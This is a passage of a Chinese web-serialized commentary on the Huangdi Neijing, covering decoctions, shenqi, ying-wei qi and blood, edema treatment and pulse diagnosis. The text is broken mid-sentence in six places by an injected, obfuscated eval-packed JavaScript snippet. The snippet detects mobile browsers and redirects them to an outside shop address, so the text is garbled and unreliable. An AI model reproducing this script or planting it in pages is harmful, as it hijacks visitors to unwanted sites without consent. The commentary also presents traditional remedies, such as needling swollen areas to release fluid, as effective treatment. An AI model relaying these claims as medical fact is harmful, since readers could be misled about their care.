然而，这并不意味着汤液醪醴没有其独特的医疗价值。事实上，这些饮品在中医理论中占据着重要的地位，它们被认为能够调和人体的阴阳气血，促进健康。因此，即便在疾病较少的上古时代，医生们仍然会制作这些饮品，以备不时之需。 总岐伯的这番话不仅揭示了上古时期人们的健康状态和生活习惯，也反映了中医“治未病”的理念。在现代社会，我们同样应该注重预防，通过合理饮食、锻炼和调节心态等方式，保持身心的健康与和谐。 接下来我们看看中古时代对汤液醪醴的使用。 中古时代养生之道的衰落以及外界邪气对人体影响的问题，实际上涉及到了多个层面的历史、医学和文化背景。 在中古时代，由于战乱频繁、社会动荡不安，人们的生活水平和医疗条件普遍较差。在这样的背景下，养生之道的确有所衰落，人们的身心健康状况也相对较差，更容易受到外界邪气的侵袭。 然而，即使在这样的环境中，古人仍然通过一些简单有效的方法来抵御疾病。其中，汤药醪澧就是一种常见的治疗手段。这些汤药通常是由多种草药经过煎煮而成，具有清热解毒、补气养血等功效，能够有效地缓解病人的症状，促进身体的恢复。 当然，汤药醪澧只是古人治疗疾病的一种方式，其效果也受到多种因素的影响，如药材的质量、煎煮的方法、病人的身体状况等。但无论如何，这些传统的治疗方法在当时的社会背景下仍然发挥了重要的作用，帮助人们抵御了疾病的侵袭。 在中古时代， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428650|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由于环境恶劣、卫生条件差等原因，人们更容易受到外界邪气的侵袭。中古时代的养生之道虽然有所衰落，但人们仍然通过一些简单有效的方法来保持身心的健康。 黄帝提到的关于现代人即使服用汤液醪醴病也不一定好的问题，实际上揭示了古今医疗观念和治疗方法的变化。岐伯的回答，则从一定程度上反映了时代变迁对人体健康和治疗方式的影响。 我们需要理解“汤液醪醴”在古代医疗中的地位。在古代，汤液醪醴等草本汤剂是常见的治疗手段，它们通过调整人体的阴阳平衡、补充气血等方式来达到治疗疾病的目的。然而，随着时间的推移，医疗技术的进步和医疗观念的变化，人们开始更加依赖药物和针灸等更为直接和精确的治疗手段。 岐伯指出，现在的人和中古时代的人不同了，这不仅仅是指生活环境和饮食习惯的变化，更重要的是医疗观念和治疗方法的变化。现代人更加注重疾病的早期发现和精确治疗，因此一旦有疾病发生，往往会采取多种治疗手段来加速疾病的痊愈。这包括使用药物治疗、针灸、推拿等多种方式，而不仅仅局限于服用汤液醪醴等草本汤剂。 这种变化并非偶然，它是医疗技术发展和人类健康需求不断变化的必然结果。这并不意味着我们应该完全抛弃传统的草本治疗方式。相反，我们应该在尊重传统的基础上，结合现代医学的先进技术，探索出更加科学、有效的治疗手段。同时，我们也应该意识到，健康的生活方式、合理的饮食习惯和适当的锻炼仍然是保持身体健康的重要因素。 第12章 （3）人与医生从标本关系到生命守护者 黄帝所问，病情发展至形体败坏、气血枯竭的阶段，治疗难以见效，这背后确实蕴含了什么道理。岐伯的回答，正是中医对人体生理病理变化深刻理解的体现。 在中医理论中，人体的生命活动确实是由“气”和“血”这两个基本要素所构成的。气血作为维持人体生命活动的基本物质，其重要性不言而喻。而“神”则是人体生命活动的最高主宰，它主导着人体的生理功能和心理活动，是生命力的象征。 然而“神气”是心理活动的体现，更是人体生命力的源泉。一个人的神气充足时，他的身体机能会处于最佳状态，对疾病的抵抗力也会更强。反之，当神气衰弱时，即使身体的其他部分看起来还健康，但整个人的生命力已经开始衰退，对疾病的抵抗力也会大幅下降。 如果当病人的神气已经衰微，治愈的能力已经散乱时，情况确实棘手。这种情况下，即使有再高超的治疗手段和珍贵药物，由于病人的神气已经无法发挥应有的作用，治疗效果自然会大打折扣。 我们一直提到神气这一词，现在我们说一下，在中医理论中，“神气”是一个独特且重要的概念，它涉及到了人体的生理、心理以及精神状态等多个方面。 从字面上理解，“神”通常被用来描述人的意识、思维、精神活动等非物质层面的存在，它代表着人体的生命活动和精神状态的高级形式；“气”则是中医理论中的基本概念，它指的是构成人体和维持人体生命活动的基本物质之一，具有推动、温煦、防御、固摄和气化等作用。 当两者结合，“神气”便是指人体内的生命力、精神状态以及心理活动的总和。它不仅仅是人的思维、意识等心理活动的体现，更是人体生命力的象征。在中医看来，一个人的神气充足时，他的身体机能会处于最佳状态，对疾病的抵抗力也会更强；反之，当神气衰弱时，即使身体的其他部分看起来还健康，但整个人的生命力已经开始衰退，对疾病的抵抗力也会大幅下降。 此外，“神气”还与中医的“气血”理论密切相关。在中医看来，气血是人体生命活动的基本物质，而神气则是这些物质能够正常发挥作用的“指挥官”。当气血充足且神气旺盛时，人体的生命活动就会处于最佳状态；而当气血不足或神气衰弱时，人体的生命活动就会受到影响，出现各种疾病。 我们继续接岐伯所说的话，岐伯说当病情发展到精神败坏、神气消散的地步时，荣卫气血（即人体的营养和防御系统）往往也已经无法再恢复。荣卫气血是维持人体生命活动的基本物质，它们的充足与否直接关系到人体的健康状况。当荣卫气血无法再恢复时，意味着人体的生命活动已经受到了严重的损害，治疗难度自然也会大大增加。 在这里我们遇到一个新名词荣卫气血，那什么是荣卫气血。荣卫气血，是中医理论中一个非常重要的概念，它涉及到人体生命活动的本质。下面我将从几个方面来详细解释荣卫气血的含义。 首先，我们来理解“荣卫”这一概念。荣卫，即营卫，是中医学中用于描述人体气血运行状态的术语。其中，“荣”通“营”，指营气，主要指的是血液中的营养物质和能量，它行于脉中，属阴，具有滋养周身的作用；“卫”则指的是卫气，是一种具有保卫功能的能量，它行于脉外，属阳，具有扞卫躯体、抵御外邪的功能。 接下来，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428651|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们再来探讨“气血”的含义。气血是中医理论中的基本概念，泛指人体内流动的营养物质和能量。其中，“气”是一种无形的能量，它推动着血液的流动，维持着人体的生命活动；“血”则是有形的物质，它富含营养，滋养着人体的各个脏腑器官。在中医看来，气血是人体生命活动的物质基础，它们的充足与否直接关系到人体的健康状况。 将“荣卫”与“气血”结合起来，我们可以得到“荣卫气血”这一概念。它描述了人体气血运行的两种状态：荣气行于脉中，滋养着身体；卫气行于脉外，保卫着身体。当荣卫气血充足且运行正常时，人体就能保持健康；而当荣卫气血不足或运行失常时，人体就会出现各种疾病。 具体来说，荣卫气血的作用可以归纳为以下几点： 1. 滋养作用：荣气通过血液循环将营养物质输送到全身各个部位，滋养着人体的脏腑器官；卫气则通过其保卫功能，防止外邪的入侵，保护人体的健康。 2. 保卫作用：卫气具有抵御外邪入侵的能力，它能够阻止病毒、细菌等病原体进入人体，从而保护人体的健康。 3. 调节作用：荣卫气血的充足与否直接影响到人体的生理功能。当荣卫气血充足时，人体的生理功能就会处于最佳状态；而当荣卫气血不足时，人体的生理功能就会受到影响，出现各种疾病。 4. 平衡作用：中医强调阴阳平衡，荣卫气血的充足和平衡也是人体阴阳平衡的重要体现。当荣卫气血平衡时，人体的阴阳也会保持平衡状态；而当荣卫气血失衡时，人体的阴阳平衡就会受到影响。 这章没有结束，请点击下一页继续阅读！ 第12章 （4）水汽病发病原因与治疗方法，一篇通读懂你所有疑惑 黄帝问岐伯在中医的眼中，疾病往往起源于内，由轻转重，从隐到显，这是一个逐渐发展的过程。而黄帝所描述的“病情极其浅，隐蔽，潜留在皮肤内”的阶段，正是疾病发展的初期，也是治疗的最佳时机。医生精通针刺、用药技术，且与病人关系亲近，能够听到病人的声音变化，每天都能看到病人五色的改变，却依然治不好病，这是不是因为医生的技术不精或者对病人的观察不细致或没有提前治疗的缘故那？ 岐伯的观点“疾病的性质和病人自身为本，医生的治疗方法和药物为标，病人与医生不能很好的配合，就不能祛除疾病”，这一深刻见解在现代医学实践中依然闪耀着智慧的光芒。 在现代医学的快速发展中，虽然我们拥有了更为先进的诊断技术和治疗手段，但岐伯的观点依然提醒我们，治疗疾病并非只是依赖药物和技术，更多的是需要医生和病人之间的紧密合作与相互信任。 现代医学同样强调“个体化治疗”的原则，这与岐伯所说的“因人施治，辨证施治”不谋而合。每个病人都是独一无二的，他们的体质、病情、年龄、性别等因素都会影响治疗效果。因此，医生在制定治疗方案时，必须全面考虑这些因素，确保治疗方案的科学性和针对性。 其次，现代医学也高度重视医患关系的重要性。良好的医患关系可以提高病人的治疗依从性，促进疾病的康复。医生需要尊重病人的权利和意见，耐心听取病人的需求和反馈，与病人建立信任和合作关系。而病人也需要积极配合医生的治疗，遵守医嘱，改变不良的生活习惯，提高自我管理能力。 岐伯的观点还提醒我们，治疗疾病不仅仅是医生的事情，病人自己也需要承担一定的责任。病人需要了解自己的病情和治疗方法，学会自我管理，保持积极的心态和乐观的情绪。这不仅可以提高治疗效果，还可以增强病人的生活质量和幸福感。 黄帝所问岐伯“有的并不是从外表皮肤发生的，而是发于阳气衰竭的五脏”，实际上涉及了中医理论中疾病发生的深层次原因和机制。 在中医看来，人体是一个复杂的系统，内外环境相互作用，相互影响。疾病的发生，既可以是外界因素作用于人体，导致体内阴阳失衡、气血不和，从而引发疾病；也可以是人体内部因素，如脏腑功能失调、气血运行不畅等，导致疾病产生。 对于“发于阳气衰竭的五脏”这种情况，中医认为，阳气是人体生命活动的原动力，对于维持人体的正常生理功能具有重要意义。当人体阳气不足时，会导致脏腑功能减弱，气血运行不畅，从而引发各种疾病。特别是五脏，作为人体生命活动的核心，其阳气衰竭更会导致严重的后果。 “水汽充满皮肤，阴气旺盛至极，阴气单独留在体内，而阳气在外部耗损严重，身体浮肿不能穿上原来的衣服，四肢肿疾而影响到内脏”的情况，这种情况应该怎样治疗那？ 岐伯说：根据病情的轻重来衡量治疗策略是非常关键的。对于较为严重的水肿病例，可能需要更加激进和直接的治疗方法，如使用强效的利水药物或采取其他紧急措施来迅速缓解症状。而对于病情较轻的病例，则可以通过调整饮食、增加运动等较为温和的方法来促进体内水液代谢的平衡。 其次， 祛除体内的淤血和积水是治疗水肿的重要步骤。淤血和积水往往是导致水肿的直接原因，因此需要通过中药方剂、针灸等方法来疏通经络、活血化瘀、利水消肿。 同时，让病人的四肢做轻微运动也是非常重要的。适当的运动可以促进气血流通、增强身体代谢能力，有助于消除水肿和淤血。但是需要注意的是，运动应该适量、适度，避免过度劳累和损伤身体。 此外，注意保暖也是非常重要的。寒冷的环境容易导致气血凝滞、阳气不足，从而加重水肿等症状。因此，病人需要注意保暖，尤其是在寒冷的季节和夜晚。 谬刺的方法针刺水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428652|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肿的地方放出积水是中医中一种独特的治疗手段。通过针刺特定穴位或水肿部位，可以促进水液的排出和气血的流通，从而缓解水肿症状。但是需要注意的是，这种方法需要由专业的中医师进行操作，以确保安全和有效。 最后，使用发汗和利小便的方法打开汗孔、卸除膀胱里的水液也是治疗水肿的重要步骤。通过发汗可以促进体内多余水分的排出，而利小便则可以清除膀胱中的积水。这些方法都有助于恢复体内的阴阳平衡和气血流通。 在中医看来，五脏是人体生命活动的核心，它们不仅各自有着独特的功能，而且通过经络系统相互连接，形成了一个复杂而精密的网络。这个网络中，阳气是生命活动的原动力，它推动着气血在经络中流动，滋养着全身的组织和器官。 “通过输布五脏的阳气，疏通五脏的水液”，这句话揭示了阳气在推动水液代谢、保持身体内部环境平衡中的重要作用。当五脏的阳气充足并顺畅流动时，水液就能得到良好的代谢和分布，从而避免了水肿、痰湿等病理状态的产生。 “积聚这样精气，自然就会生成形体，也会强盛起来”，这进一步强调了精气（即生命活动的物质基础）在维 持和增强人体生理功能中的重要性。当精气充足时，人体就能保持旺盛的生命力，各脏腑器官也能得到充分的滋养和支持。 “骨骼与肌肉就能相辅相成，正气自然就会恢复正常”，这句话则指出了正气（即人体的抵抗力）与骨骼、肌肉等组织器官之间的密切联系。当五脏的阳气充足、水液代谢顺畅、精气充沛时，骨骼就能得到良好的滋养和支持，肌肉也能保持强健有力。这种状态下，人体的正气自然就能得到恢复和增强，从而抵抗各种疾病的侵袭。 中医强调通过调节五脏的阳气、疏通水液、积聚精气来维护人体的健康状态。这种思想不仅体现了中医对人体生命活动的深刻认识，也为现代医学提供了宝贵的借鉴和启示。 第13章 《脉要精微论》 《脉要精微论》对中医脉诊的理论与实践进行了深入阐述。这一篇章不仅详细论述了各种诊断方法，更是对切脉和望色给予了特别的强调，并围绕脉诊的要领展开了详尽的讨论。 关于切脉的重要性，中医认为脉象是体内气血运行状态的直接反映，通过切脉可以洞察人体内部的阴阳气血盛衰、脏腑经络的虚实变化。因此，切脉在中医诊断中占据着举足轻重的地位。 望色也是中医诊断中不可或缺的一环。通过观察患者的面色、舌苔等外在表现，可以初步判断其体内的气血状况、脏腑功能等。望色与切脉相结合，能够更全面地了解患者的病情。 在脉诊要领方面，《脉要精微论》提出了许多精辟的见解。例如，它强调了脉象的浮沉、迟数、滑涩等特征，以及这些特征与疾病性质、病情轻重、病势进退等方面的关系。同时，还指出了脉象变化与四时气候、昼夜时辰等因素的关系，提醒医生在脉诊时需要考虑这些因素的影响。 《脉要精微论》还讨论了脉象的生理变异和病理变化，以及如何根据脉象的变化来判断疾病的预后等问题。这些内容对于中医诊断的实践具有重要意义，是中医临床工作中不可或缺的指导原则。 《脉要精微论》所阐述的脉诊理论和方法是中医诊断学的重要组成部分，对于提高中医临床诊疗水平具有重要意义。在现代医学不断发展的今天，我们仍然需要深入学习和研究这些经典理论，以更好地服务于人类的健康事业。 本篇内容，对其六个主要部分的详细解读： 一、针法要以平旦和持脉为常规原则 在中医针灸治疗中，强调“平旦”和“持脉”作为常规原则，是因为清晨时人体气血平和，脏腑功能相对稳定，此时进行针灸治疗能够达到最佳效果。同时，“持脉”指的是在针灸前，医生需要通过切脉来了解病人的脉象，从而判断其气血状况、脏腑功能等，为针灸治疗提供重要依据。 二、介绍望诊中察看晴明五色以及脏腑形体的方法 望诊是中医四诊之一，通过观察病人的面色、眼神等外在表现，可以初步判断其体内的气血状况和脏腑功能。晴明五色是指面部五色的正常与异常变化，能够反映体内脏腑的阴阳气血盛衰。同时，观察脏腑形体也是望诊的重要内容，通过病人的体型、体态等特征，可以进一步了解脏腑功能的强弱和病邪的深浅。 三、说明脉诊的方法和作用 脉诊是中医诊断的重要手段之一，通过切按病人的脉搏来感知脉象的变化，从而判断病情的轻重、病势的进退以及病邪的深浅等。脉诊的方法包括三指定位、轻按重按等技巧，医生需要熟练掌握这些技巧，并结合自身的临床经验进行综合分析。脉诊的作用在于为医生提供重要的诊断依据，帮助医生制定针对性的治疗方案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428653|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 四、说明脉象与四时的关系 中医认为，人体的脉象变化与四时气候的变化密切相关。春天气候温暖，阳气生发，脉象表现为浮大；夏天气候炎热，阳气旺盛，脉象表现为洪大；秋天气候凉爽，阳气收敛，脉象表现为沉细；冬天气候寒冷，阳气潜藏，脉象表现为紧实。医生在诊断时需要结合四时气候的变化来综合分析脉象的变化，从而更准确地判断病情。 五、介绍通过病人的声音大小便和梦境诊察疾病的方法 除了望诊和脉诊外，中医还注重通过病人的声音、大小便和梦境等外在表现来诊察疾病。声音的高低、清浊可以反映体内气机的升降出入；大小便的性状、颜色、气味等可以反映体内脏腑功能的强弱和病邪的性质；而梦境的内容则可以反映病人的心理状态和体内脏腑的阴阳气血状况。这些观察方法可以为医生提供额外的诊断信息，帮助医生更全面地了解病情。 六、论述如何根据切脉部位来了解内脏的病变 在中医脉诊中，不同的切脉部位可以反映不同内脏的病变情况。例如，寸口脉主要反映心肺的病变；关脉主要反映肝胆的病变；尺脉主要反映肾与膀胱的病变等。医生在切脉时需要根据不同的部位来感知脉象的变化，并结合其他诊断手段来综合分析内脏的病变情况。这种诊断方法可以帮助医生更准确地判断病情，并制定针对性的治疗方案。 第13章 （1）诊脉不只是摸手腕：深入了解中医脉诊的奥秘 黄帝所问及的诊脉方法，实际上是中国古代医学中一项非常重要的诊断技术，也就是我们现在常说的“脉诊”或“切脉”。而岐伯的回答，为我们揭示了诊脉的最佳时机及其背后的医理。 岐伯提到诊脉的最佳时间是清晨。这是因为清晨时分，人体尚未开始一天的劳作，阳气尚未被日常活动所扰动，阴气也尚未因阳气上升而耗散。此时，人体的气血、阴阳都处于一个相对平衡的状态，经脉之气尚未充盛，经络之气平和均匀，气血未受到外界因素的扰乱，因此更容易诊察出有病的脉象。 脉诊是中医“四诊”之一，通过观察脉象的变化，可以了解人体的气血运行状况、脏腑功能的强弱以及病邪的性质和部位。清晨诊脉，因为气血、阴阳的相对平衡，脉象更能反映出人体的真实状况，对于疾病的诊断和治疗具有重要意义。 岐伯的回答为我们揭示了诊脉的最佳时机及其背后的医理，也体现了中医“治未病”的思想。 我们进一步探讨脉诊的奥秘，带大家了解一下诊脉。 脉象，作为中医诊断学中的一项重要内容，指的是脉搏的快慢、强弱、深浅等情况。其种类丰富多样，反映了人体内部气血运行和脏腑功能的复杂变化。以下是对脉象种类的详细解析： 一、脉象的基本分类 除了上述基本分类外，脉象还可以进一步细分为更多种类。例如，根据脉象的宽窄、形状等特点，可以分为浮脉，沉脉，迟脉，数脉，细脉、洪脉、濡脉等。先介绍这几个脉象，以后在伤寒论会给大家介绍更多的脉象。 浮脉：浮脉指的是手指轻按就能感觉到脉搏的跳动，重按则感觉脉搏力量稍减但并不空泛。这种脉象如同水漂木，浮在水面之上，因此得名“浮脉”。 在中医理论中，浮脉的出现往往与表症相关，即疾病位于体表或影响人体肌表的症状。例如，感冒初期，邪气侵袭人体肌表，导致肌表毛孔闭塞，气血流通不畅，就可能出现浮脉。此时，患者可能伴随有恶寒发热、头痛身痛等症状。 沉脉：沉脉是一种具有特定特征的脉象。当医生用指腹轻触患者寸口部位时，如果感觉不到明显的脉象，而需要稍加重按才能感觉到脉搏跳动，并且搏动有力，这种脉象就被称为沉脉。 沉脉的出现往往与里证相关，即疾病位于身体内部，影响脏腑气血的正常运行。在病理上，沉脉多因寒邪内侵、阳气被遏、气血凝滞所致，或者因为气血两亏、脏腑虚损、脉气无力鼓动，导致脉象沉伏。 具体来说，沉脉可能表现为以下几种情况： 1. 沉而有力：多为实症，如寒邪内侵导致的疼痛、积聚等。 2. 沉而无力：多为虚证，如气血两亏、脏腑虚损等。 3. 沉迟：多为寒证，如阳虚寒凝导致的四肢不温、腹痛等。 迟脉：它表现为脉搏跳动缓慢，每分钟搏动次数少于正常次数（通常为60次以下）。迟脉的出现，往往与人体内的气血运行不畅、阳气不足等因素有关。 在中医理论中，迟脉通常被视为寒症的表现之一。寒邪侵入人体，导致阳气受损，气血流通受阻，进而使得脉搏跳动变得缓慢。除了寒证之外，迟脉还可能与气虚、血虚、阳虚等证候相关。 值得注意的是，迟脉并不是一种独立的疾病，而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428654|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是疾病在人体表现出来的一种脉象。因此，在中医临床中，医生通常会结合其他症状和体征，对迟脉进行综合分析，以确定疾病的性质、病位和病情的轻重。 对于迟脉的治疗，中医通常会采用温阳散寒、补气养血等方法，旨在调和体内的阴阳气血，促进气血的流通和脏腑功能的正常运转。当然，具体的治疗方案还需要根据患者的具体情况进行个体化调整。 数脉：是中医脉诊中的一种脉象，表现为脉搏跳动频率较快，每分钟搏动次数超过正常次数（通常为90次以上）。数脉的出现，通常与人体内的气血运行加快、热邪内盛等因素有关。 在中医理论中，数脉被认为是热证的主要表现之一。当人体受到热邪侵袭时，阳气亢盛，气血运行加速，导致脉搏跳动加快。除了热证之外，数脉还可能与阴虚火旺、气血两亏等证候相关。 在中医临床中，医生通常会结合其他症状和体征，对数脉进行综合分析，以确定疾病的性质、病位和病情的轻重。例如，如果数脉伴随有舌红、苔黄等热象表现，那么很可能是热邪内盛导致的；如果数脉伴有乏力、自汗等气虚表现，则可能是气血两亏引起的。 对于数脉的治疗，中医通常会采用清热泻火、滋阴降火等方法，旨在调和体内的阴阳气血，降低脉搏跳动频率，恢复正常的气血运行状态。 细脉：在中医脉诊中是一种具有特定特征的脉象。当我们谈论细脉时，实际上是指脉象细小如线，但应指明显，起落清楚，脉搏跳动感觉较正常为弱。这种脉象通常与气血不足或气血两亏有关。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第13章 （2）中医绝技揭秘：脉搏、眼神、五色揭示疾病凶吉 在中医的诊疗实践中，强调了对病人多种体征的综合观察与判断，这其中就包括了诊察脉搏的动静变化，并同步观察病人双眼的神色，以及五色的变化。这种全面的观察方法旨在深入了解病人的脏腑功能状态和形体的盛衰，从而更为准确地判断疾病的轻重缓急以及预后。 当我们谈到脉搏的动静变化时，首先要明确的是，脉搏的变化不仅仅是一个简单的生理现象，它更是我们体内健康状态的一面镜子。 脉搏，简单来说，就是心脏跳动时推动血液在血管中流动所产生的波动。正常情况下，脉搏的跳动是有规律且有力的，这反映出我们的心脏在稳健地工作，同时也意味着我们的身体状况良好。 当脉搏的动静发生变化时，往往意味着我们的身体可能出现了某种问题。例如，脉搏跳动过快或过慢，都可能是心脏功能异常的表现；而脉搏跳动无力或不规则，则可能意味着血管系统或血液循环出现了问题。 在中医理论中，脉搏的动静变化更是被赋予了更深层次的含义。中医通过触诊脉搏，可以感知到脉搏的强弱、快慢、节律等信息，从而推断出病人的脏腑功能状态、气血流通情况以及病情的轻重缓急。这种独特的诊断方法，正是中医“望闻问切”四诊中的“切”诊。 当然，对于普通人来说，我们并不需要像中医医生那样去细致地感受和分析脉搏的变化。但了解脉搏的基本知识和它的重要性，却能帮助我们更好地关注自己的身体状况，及时发现潜在的健康问题。 中医医生们通过观察双眼的神态、色泽、光泽等细微变化，能够洞悉病人的精神状况和脏腑功能状态。想象一下，一双明亮而有神的眼睛，仿佛夜空中闪烁的星星，这样的眼睛往往意味着脏腑功能健全，气血充盈，如同春天的田野般生机勃勃。 相反，如果眼神晦暗、无神，就像是被乌云笼罩的天空，失去了原有的光彩。这样的眼睛则可能预示着脏腑功能的衰退，气血不足，如同枯萎的树叶般失去了生机。 这种观察方法并非空穴来风，而是中医经过千百年临床实践总结出的宝贵经验。当然，现代医学也证实了眼睛与身体内部各系统之间的密切联系，比如眼部血管的变化可以反映出血压、血糖等指标的异常。 所以，当我们感到身体不适时，不妨也仔细观察一下自己的双眼。虽然这种方法不能替代专业的医学检查，但有时候，它们可能会给我们提供一些有用的线索和提示。 同时，中医还强调观察五色的变化。这里的“五色”指的是面部、舌体等部位的色泽变化，这些变化可以反映出体内气血、阴阳、脏腑等的变化情况。通过观察五色的变化，医生可以进一步了解病人的身体状况。 当我们提及中医的“五色”时，是特指面部、舌体等部位的色泽变化。这些色泽的变化，在中医眼中，是体内气血、阴阳、脏腑等状况的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428655|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一面镜子。 想象一下，一个健康的面部，应该是红润而有光泽的，这反映出体内气血的充盈和脏腑功能的正常。而舌体，作为“心之苗”，其色泽也能直观地反映心脏的健康状况。比如，舌体淡红、舌苔薄白，这通常被认为是健康的表现。 然而，当这些“五色”发生变化时，就可能预示着身体的某种不平衡或疾病。例如，面部发黄可能是脾虚湿盛的表现；面色苍白则可能是气血不足；而舌体发黑或紫暗，则可能与血液循环不畅或体内有淤血有关。 中医通过观察这些“五色”的变化，可以进一步了解病人的身体状况，为疾病的诊断和治疗提供重要的参考。这种观察方法，虽然看似简单，却蕴含着深厚的中医理论和实践经验。 当然，我们也不能仅仅依赖这种观察方法来判断身体状况。现代医学的检查手段更为先进和精准，可以为我们提供更为详细和准确的健康信息。但是，中医的“五色”观察法，作为一种传统的诊断方法，仍然有其独特的价值和意义。 将以上几个方面的观察结果综合起来进行比较和分析，医生就可以对病人的病情有一个更为全面、深入的了解，从而作出更为准确的诊断和判断。 通过诊察脉搏动静变化、观察病人双眼的神色、五色变化以及脏腑的强弱虚实和形体的盛衰，医生可以综合判断疾病的凶极和死生，为病人的治疗提供更为准确、有效的指导。 第13章 （3）脉象与气血：面部变化的健康预警信号 “脉是血液汇聚之所在，而血液的循环要依赖气的统帅”。在中医理论中，确实存在“血要依赖气的统帅”这一说法。这不仅仅是一个形象的比喻，而是基于中医对人体生理机能的深入理解和观察。 我们要明确“气”在中医中的概念。在中医理论中，“气”是一个非常重要的概念，它包括了人体的生命力、活力以及脏腑器官的功能状态等。气是生命活动的原动力，具有推动、温煦、防御、固摄等作用。 而“血”则是人体内的液态物质，它包含了营养物质和氧气，通过血液循环系统输送到全身各处，滋养着人体的脏腑器官和组织。 那么，为什么说“血要依赖气的统帅”呢？这是因为气的推动作用使得血液能够在血管中正常流动，将营养物质和氧气输送到全身各处。如果气虚或者气滞，就会影响到血液的流动，导致血液循环不畅，出现各种疾病。 此外，气还具有温煦作用，能够保持血液的温度，防止血液凝固。如果气虚，血液的温度就会下降，容易出现血液凝固、堵塞血管的情况。 因此，可以说“血要依赖气的统帅”是中医对人体生理机能深刻理解的一种体现。这也提示我们在日常生活中要注意调养气血，保持气血的平衡和畅通，从而维护身体的健康。 长脉通常被认为是气血流畅平和，反映出气在体内的调和统摄功能良好。而短脉则表明气不足，可能是由于气虚或气机不畅导致的，表现为气的统摄功能减弱。 数脉则多与心火亢盛或阴虚内热有关，反映出内心烦热的状态。大脉则可能意味着邪气正在扩张，病情正在向严重的方向发展，此时正气与邪气之间的斗争较为激烈。 上部脉盛，通常是指寸口脉（手腕部桡动脉处）的脉象较为亢进，这往往与气逆于上、肝阳上亢、气逆冲胸等病理状态有关。在中医理论中，肝主疏泄，调畅气机，若肝阳过亢，气机上升过度，便可能导致上部脉盛。这种脉象往往表现为脉来急促而有力，患者可能伴有头痛、眩晕、面红目赤等症状。 而下部脉盛，则是指尺部脉（手腕部尺侧）的脉象较为亢进，这通常与湿邪下注、水饮内停等因素有关。湿邪是中医理论中的一种致病因素，它具有重浊、黏滞的特性，容易阻滞气机，导致气血运行不畅。当湿邪下注于下焦时，便可能引起下部脉盛。这种脉象往往表现为脉来濡滑而有力，患者可能伴有下肢浮肿、小便不利、大便溏泄等症状。 在中医脉诊中，通过观察脉象的变化，可以了解患者体内的气血运行和脏腑功能状态，从而为疾病的诊断和治疗提供重要的参考依据。同时，也需要结合患者的症状、体征、舌象等其他信息进行综合分析，以得出更为准确的诊断。 